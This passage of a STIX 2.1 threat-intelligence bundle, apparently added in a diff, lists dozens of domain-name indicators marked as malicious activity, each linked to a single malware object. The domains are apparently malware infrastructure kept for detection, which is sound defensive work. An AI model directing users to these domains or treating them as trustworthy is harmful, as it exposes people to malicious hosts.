"relationship--89876aa7-3b09-47a6-8fbd-775579749e2d", + "created": "2023-03-29T12:58:44.54256Z", + "modified": "2023-03-29T12:58:44.54256Z", + "relationship_type": "indicates", + "source_ref": "indicator--35872ce9-a2bf-4de0-ad0b-6e6e13e8bc68", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--84b73b77-5217-4622-b6ce-dc0b266b9095", + "created": "2023-03-29T12:58:44.542731Z", + "modified": "2023-03-29T12:58:44.542731Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='disparatetidbit.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.542731Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b972a794-0663-45ff-82b4-4495f46ca7c8", + "created": "2023-03-29T12:58:44.543329Z", + "modified": "2023-03-29T12:58:44.543329Z", + "relationship_type": "indicates", + "source_ref": "indicator--84b73b77-5217-4622-b6ce-dc0b266b9095", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bc4689f8-b41d-4d15-9e65-5fbf14a6ee0c", + "created": "2023-03-29T12:58:44.543496Z", + "modified": "2023-03-29T12:58:44.543496Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='debtlessoverlook.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.543496Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--042d592d-d14c-48e0-9164-b251d5115ab6", + "created": "2023-03-29T12:58:44.544091Z", + "modified": "2023-03-29T12:58:44.544091Z", + "relationship_type": "indicates", + "source_ref": "indicator--bc4689f8-b41d-4d15-9e65-5fbf14a6ee0c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fe918cec-b406-437c-83a9-233d12bb5751", + "created": "2023-03-29T12:58:44.54426Z", + "modified": "2023-03-29T12:58:44.54426Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stokerubdown.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.54426Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f9f54754-6d30-4fa6-8ef4-256b86791e1a", + "created": "2023-03-29T12:58:44.544847Z", + "modified": "2023-03-29T12:58:44.544847Z", + "relationship_type": "indicates", + "source_ref": "indicator--fe918cec-b406-437c-83a9-233d12bb5751", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b7581fc1-c546-4030-86fc-995ab4618eec", + "created": "2023-03-29T12:58:44.545013Z", + "modified": "2023-03-29T12:58:44.545013Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='margaritatuesday.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.545013Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6eb58d8a-2c1c-4220-9e6f-bc96e55c0d51", + "created": "2023-03-29T12:58:44.54561Z", + "modified": "2023-03-29T12:58:44.54561Z", + "relationship_type": "indicates", + "source_ref": "indicator--b7581fc1-c546-4030-86fc-995ab4618eec", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1aa027fe-4eb9-497b-bc20-c0b529515782", + "created": "2023-03-29T12:58:44.545778Z", + "modified": "2023-03-29T12:58:44.545778Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ibuprofenflatterer.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.545778Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bfa3407a-097f-4967-a797-a77d0df9fd20", + "created": "2023-03-29T12:58:44.546378Z", + "modified": "2023-03-29T12:58:44.546378Z", + "relationship_type": "indicates", + "source_ref": "indicator--1aa027fe-4eb9-497b-bc20-c0b529515782", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6cf9324a-b468-4e99-947d-801e1920a3d2", + "created": "2023-03-29T12:58:44.546545Z", + "modified": "2023-03-29T12:58:44.546545Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='greenhighway.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.546545Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ea2f05f7-26ac-4f7c-8f6e-667ed66defa5", + "created": "2023-03-29T12:58:44.547252Z", + "modified": "2023-03-29T12:58:44.547252Z", + "relationship_type": "indicates", + "source_ref": "indicator--6cf9324a-b468-4e99-947d-801e1920a3d2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--395e00b2-7645-4f9a-b1a1-f59b6305172f", + "created": "2023-03-29T12:58:44.547424Z", + "modified": "2023-03-29T12:58:44.547424Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='juveniledisorder.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.547424Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--53011275-a248-499b-80b4-6ef17e3520ca", + "created": "2023-03-29T12:58:44.548023Z", + "modified": "2023-03-29T12:58:44.548023Z", + "relationship_type": "indicates", + "source_ref": "indicator--395e00b2-7645-4f9a-b1a1-f59b6305172f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--de510b87-0f08-4e44-a41e-1d0e7ac67af3", + "created": "2023-03-29T12:58:44.548189Z", + "modified": "2023-03-29T12:58:44.548189Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='matterpolygon.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.548189Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--afc187dd-6969-44c8-9f07-f8e86898426f", + "created": "2023-03-29T12:58:44.548776Z", + "modified": "2023-03-29T12:58:44.548776Z", + "relationship_type": "indicates", + "source_ref": "indicator--de510b87-0f08-4e44-a41e-1d0e7ac67af3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1eb56671-09ec-4d7f-935e-c19ad1c18b2e", + "created": "2023-03-29T12:58:44.548942Z", + "modified": "2023-03-29T12:58:44.548942Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tyinggonad.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.548942Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7615ce83-8832-4847-9b7d-babda2b53681", + "created": "2023-03-29T12:58:44.549526Z", + "modified": "2023-03-29T12:58:44.549526Z", + "relationship_type": "indicates", + "source_ref": "indicator--1eb56671-09ec-4d7f-935e-c19ad1c18b2e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--10ad78ae-0262-4015-8b57-32ee6673aca8", + "created": "2023-03-29T12:58:44.549707Z", + "modified": "2023-03-29T12:58:44.549707Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='letsnotgo.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.549707Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a4610b26-23ee-4bf0-88be-e950ca863d78", + "created": "2023-03-29T12:58:44.550295Z", + "modified": "2023-03-29T12:58:44.550295Z", + "relationship_type": "indicates", + "source_ref": "indicator--10ad78ae-0262-4015-8b57-32ee6673aca8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ef9d1063-ef99-4fa2-8657-b52b1ca70c5f", + "created": "2023-03-29T12:58:44.550467Z", + "modified": "2023-03-29T12:58:44.550467Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='campusshowplace.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.550467Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--deece03a-796e-4b52-8d10-0c01001a0d46", + "created": "2023-03-29T12:58:44.551063Z", + "modified": "2023-03-29T12:58:44.551063Z", + "relationship_type": "indicates", + "source_ref": "indicator--ef9d1063-ef99-4fa2-8657-b52b1ca70c5f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2fc9e3a9-d112-44ef-96b8-da50220e1d42", + "created": "2023-03-29T12:58:44.551232Z", + "modified": "2023-03-29T12:58:44.551232Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tavernprotract.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.551232Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--73795075-5100-487b-a2a7-6bf2ca2343c4", + "created": "2023-03-29T12:58:44.551824Z", + "modified": "2023-03-29T12:58:44.551824Z", + "relationship_type": "indicates", + "source_ref": "indicator--2fc9e3a9-d112-44ef-96b8-da50220e1d42", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--86bb9074-1f90-4a2c-9efd-1ddadd23d6e6", + "created": "2023-03-29T12:58:44.551992Z", + "modified": "2023-03-29T12:58:44.551992Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scratchskittle.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.551992Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--59fa86da-a4f5-47e2-839e-fff001a76dd8", + "created": "2023-03-29T12:58:44.552587Z", + "modified": "2023-03-29T12:58:44.552587Z", + "relationship_type": "indicates", + "source_ref": "indicator--86bb9074-1f90-4a2c-9efd-1ddadd23d6e6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa10fe79-e901-4e7b-8ef2-d771f9c94c80", + "created": "2023-03-29T12:58:44.552756Z", + "modified": "2023-03-29T12:58:44.552756Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='atticlethargic.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.552756Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e07436c2-f602-433e-9385-124bbe3a00ad", + "created": "2023-03-29T12:58:44.553374Z", + "modified": "2023-03-29T12:58:44.553374Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa10fe79-e901-4e7b-8ef2-d771f9c94c80", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--19c45b1d-961e-4600-8f12-8c21d885ab9b", + "created": "2023-03-29T12:58:44.553553Z", + "modified": "2023-03-29T12:58:44.553553Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='implantstatus.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.553553Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e2cd38a7-ca81-451b-9945-1a717f916475", + "created": "2023-03-29T12:58:44.55426Z", + "modified": "2023-03-29T12:58:44.55426Z", + "relationship_type": "indicates", + "source_ref": "indicator--19c45b1d-961e-4600-8f12-8c21d885ab9b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9d17ad4b-b663-465c-8e18-093c123f5098", + "created": "2023-03-29T12:58:44.554432Z", + "modified": "2023-03-29T12:58:44.554432Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='searchingman.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.554432Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a2e6a493-7397-4550-8f83-b60e06bc8f5d", + "created": "2023-03-29T12:58:44.555025Z", + "modified": "2023-03-29T12:58:44.555025Z", + "relationship_type": "indicates", + "source_ref": "indicator--9d17ad4b-b663-465c-8e18-093c123f5098", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ab06b754-99db-4a83-b502-b60c9a388a21", + "created": "2023-03-29T12:58:44.555195Z", + "modified": "2023-03-29T12:58:44.555195Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overhungosmosis.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.555195Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f1abd880-5414-4919-9bd2-a617c7aa5873", + "created": "2023-03-29T12:58:44.555794Z", + "modified": "2023-03-29T12:58:44.555794Z", + "relationship_type": "indicates", + "source_ref": "indicator--ab06b754-99db-4a83-b502-b60c9a388a21", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--97105c53-a587-4706-8c21-f4b8efbc311e", + "created": "2023-03-29T12:58:44.555963Z", + "modified": "2023-03-29T12:58:44.555963Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='swiftlyrover.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.555963Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--40eade03-4f11-4402-930c-5c577d582123", + "created": "2023-03-29T12:58:44.556553Z", + "modified": "2023-03-29T12:58:44.556553Z", + "relationship_type": "indicates", + "source_ref": "indicator--97105c53-a587-4706-8c21-f4b8efbc311e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f1430d40-9555-4a2f-9b07-b8735e30b591", + "created": "2023-03-29T12:58:44.556719Z", + "modified": "2023-03-29T12:58:44.556719Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cadillacestimator.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.556719Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a8c74dbd-8b6d-4753-99bf-6061030eb5e2", + "created": "2023-03-29T12:58:44.557313Z", + "modified": "2023-03-29T12:58:44.557313Z", + "relationship_type": "indicates", + "source_ref": "indicator--f1430d40-9555-4a2f-9b07-b8735e30b591", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8f5308e5-a38c-4934-982b-2c24d54d84a1", + "created": "2023-03-29T12:58:44.55748Z", + "modified": "2023-03-29T12:58:44.55748Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='encryptgraveness.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.55748Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b9b99a07-8b93-4ef6-a1fb-80d0759a80cc", + "created": "2023-03-29T12:58:44.558117Z", + "modified": "2023-03-29T12:58:44.558117Z", + "relationship_type": "indicates", + "source_ref": "indicator--8f5308e5-a38c-4934-982b-2c24d54d84a1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f5e30ec0-942f-43c8-9c3b-0bee98041fb6", + "created": "2023-03-29T12:58:44.558287Z", + "modified": "2023-03-29T12:58:44.558287Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stylingflatten.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.558287Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ef6372ad-d860-440f-946f-a53a5e83cee0", + "created": "2023-03-29T12:58:44.558897Z", + "modified": "2023-03-29T12:58:44.558897Z", + "relationship_type": "indicates", + "source_ref": "indicator--f5e30ec0-942f-43c8-9c3b-0bee98041fb6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bd7dbbad-4873-4669-bbd3-fa7c23eff205", + "created": "2023-03-29T12:58:44.559067Z", + "modified": "2023-03-29T12:58:44.559067Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yourlongsearch.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.559067Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5efaa3d5-54fa-4ee7-993c-ebe97c7c8f0b", + "created": "2023-03-29T12:58:44.559661Z", + "modified": "2023-03-29T12:58:44.559661Z", + "relationship_type": "indicates", + "source_ref": "indicator--bd7dbbad-4873-4669-bbd3-fa7c23eff205", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c835c908-1efb-4c13-8e83-117c88e7b2d9", + "created": "2023-03-29T12:58:44.559829Z", + "modified": "2023-03-29T12:58:44.559829Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='parabolacornstalk.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.559829Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3ee596ca-d627-4465-b656-2443a0cc450a", + "created": "2023-03-29T12:58:44.560427Z", + "modified": "2023-03-29T12:58:44.560427Z", + "relationship_type": "indicates", + "source_ref": "indicator--c835c908-1efb-4c13-8e83-117c88e7b2d9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7fa74ec0-0cdc-46ff-bd57-7b9f888921f6", + "created": "2023-03-29T12:58:44.560597Z", + "modified": "2023-03-29T12:58:44.560597Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='viscoustiring.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.560597Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ee75114d-541a-4a47-a51d-9174f512ed90", + "created": "2023-03-29T12:58:44.561301Z", + "modified": "2023-03-29T12:58:44.561301Z", + "relationship_type": "indicates", + "source_ref": "indicator--7fa74ec0-0cdc-46ff-bd57-7b9f888921f6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aec88da6-52f9-4959-9612-4f9508ff22d0", + "created": "2023-03-29T12:58:44.561473Z", + "modified": "2023-03-29T12:58:44.561473Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gossiphammock.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.561473Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8de5d67a-a4aa-4646-8a72-c054c980f94d", + "created": "2023-03-29T12:58:44.562071Z", + "modified": "2023-03-29T12:58:44.562071Z", + "relationship_type": "indicates", + "source_ref": "indicator--aec88da6-52f9-4959-9612-4f9508ff22d0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0a715983-a6b0-4de8-847a-af5bb0338212", + "created": "2023-03-29T12:58:44.56224Z", + "modified": "2023-03-29T12:58:44.56224Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='superjetflatterer.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.56224Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8756f080-c068-43ef-a744-59804b9831f2", + "created": "2023-03-29T12:58:44.562832Z", + "modified": "2023-03-29T12:58:44.562832Z", + "relationship_type": "indicates", + "source_ref": "indicator--0a715983-a6b0-4de8-847a-af5bb0338212", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dd4ff82f-faad-4f78-a890-f52a129ad310", + "created": "2023-03-29T12:58:44.562998Z", + "modified": "2023-03-29T12:58:44.562998Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='whynotthisnow.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.562998Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b057601-e3a2-423a-a769-a7cf3c140332", + "created": "2023-03-29T12:58:44.563587Z", + "modified": "2023-03-29T12:58:44.563587Z", + "relationship_type": "indicates", + "source_ref": "indicator--dd4ff82f-faad-4f78-a890-f52a129ad310", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--71d362b4-8758-4e32-8f46-1e9121b87929", + "created": "2023-03-29T12:58:44.563755Z", + "modified": "2023-03-29T12:58:44.563755Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='copyoutsource.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.563755Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--edd836e3-b3a2-496c-bea0-2f3add44fa50", + "created": "2023-03-29T12:58:44.564351Z", + "modified": "2023-03-29T12:58:44.564351Z", + "relationship_type": "indicates", + "source_ref": "indicator--71d362b4-8758-4e32-8f46-1e9121b87929", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a74baf30-0217-409f-9c96-aa5c93181d6f", + "created": "2023-03-29T12:58:44.564519Z", + "modified": "2023-03-29T12:58:44.564519Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clingdistill.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.564519Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6096867a-d365-4496-8591-747eca1271f0", + "created": "2023-03-29T12:58:44.565109Z", + "modified": "2023-03-29T12:58:44.565109Z", + "relationship_type": "indicates", + "source_ref": "indicator--a74baf30-0217-409f-9c96-aa5c93181d6f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--01d10bc5-6689-4e50-b834-2e5a7c37e614", + "created": "2023-03-29T12:58:44.565277Z", + "modified": "2023-03-29T12:58:44.565277Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='artmaster.uk']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.565277Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--77e71fe9-fe9a-4f68-bd7d-4afc3c022085", + "created": "2023-03-29T12:58:44.565867Z", + "modified": "2023-03-29T12:58:44.565867Z", + "relationship_type": "indicates", + "source_ref": "indicator--01d10bc5-6689-4e50-b834-2e5a7c37e614", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--99dc7da9-d2cf-4964-83c5-0fec5b0baf12", + "created": "2023-03-29T12:58:44.566035Z", + "modified": "2023-03-29T12:58:44.566035Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='caravanshabby.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.566035Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba43df88-1711-4bc3-b867-f769ef570940", + "created": "2023-03-29T12:58:44.566627Z", + "modified": "2023-03-29T12:58:44.566627Z", + "relationship_type": "indicates", + "source_ref": "indicator--99dc7da9-d2cf-4964-83c5-0fec5b0baf12", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--02449ed6-6ffc-4bf6-94a8-7ce79b1cfcc3", + "created": "2023-03-29T12:58:44.566795Z", + "modified": "2023-03-29T12:58:44.566795Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='uncloakbulge.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.566795Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c77d9458-0580-4b7e-8a78-bdf773562785", + "created": "2023-03-29T12:58:44.56739Z", + "modified": "2023-03-29T12:58:44.56739Z", + "relationship_type": "indicates", + "source_ref": "indicator--02449ed6-6ffc-4bf6-94a8-7ce79b1cfcc3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9979e974-20f9-4021-93c8-e98a1e4545f5", + "created": "2023-03-29T12:58:44.567574Z", + "modified": "2023-03-29T12:58:44.567574Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gestationtarnish.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.567574Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--70149593-45a2-4776-b300-eaf0b43c44ee", + "created": "2023-03-29T12:58:44.568279Z", + "modified": "2023-03-29T12:58:44.568279Z", + "relationship_type": "indicates", + "source_ref": "indicator--9979e974-20f9-4021-93c8-e98a1e4545f5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0c86c02d-07eb-482d-b85c-d704e856dca5", + "created": "2023-03-29T12:58:44.56845Z", + "modified": "2023-03-29T12:58:44.56845Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unendingexemplary.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.56845Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--00bdef03-cbee-4855-a0c1-dfe53826a9be", + "created": "2023-03-29T12:58:44.569046Z", + "modified": "2023-03-29T12:58:44.569046Z", + "relationship_type": "indicates", + "source_ref": "indicator--0c86c02d-07eb-482d-b85c-d704e856dca5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8ae9c2e4-5c45-4de5-96d0-558ed99636c6", + "created": "2023-03-29T12:58:44.569215Z", + "modified": "2023-03-29T12:58:44.569215Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kommersdrag.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.569215Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e6cd9c62-9058-484e-958b-c6ed9ef2c06c", + "created": "2023-03-29T12:58:44.569807Z", + "modified": "2023-03-29T12:58:44.569807Z", + "relationship_type": "indicates", + "source_ref": "indicator--8ae9c2e4-5c45-4de5-96d0-558ed99636c6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cfec7071-e2d1-49d2-b306-d4f5026967d3", + "created": "2023-03-29T12:58:44.569978Z", + "modified": "2023-03-29T12:58:44.569978Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='perfumelandlord.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.569978Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5cdd241c-2083-4ce9-b84c-2d25e3d12414", + "created": "2023-03-29T12:58:44.57057Z", + "modified": "2023-03-29T12:58:44.57057Z", + "relationship_type": "indicates", + "source_ref": "indicator--cfec7071-e2d1-49d2-b306-d4f5026967d3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c5425646-6495-4321-91fc-dea438feafda", + "created": "2023-03-29T12:58:44.570741Z", + "modified": "2023-03-29T12:58:44.570741Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='harnesskissable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.570741Z" + }, + { + 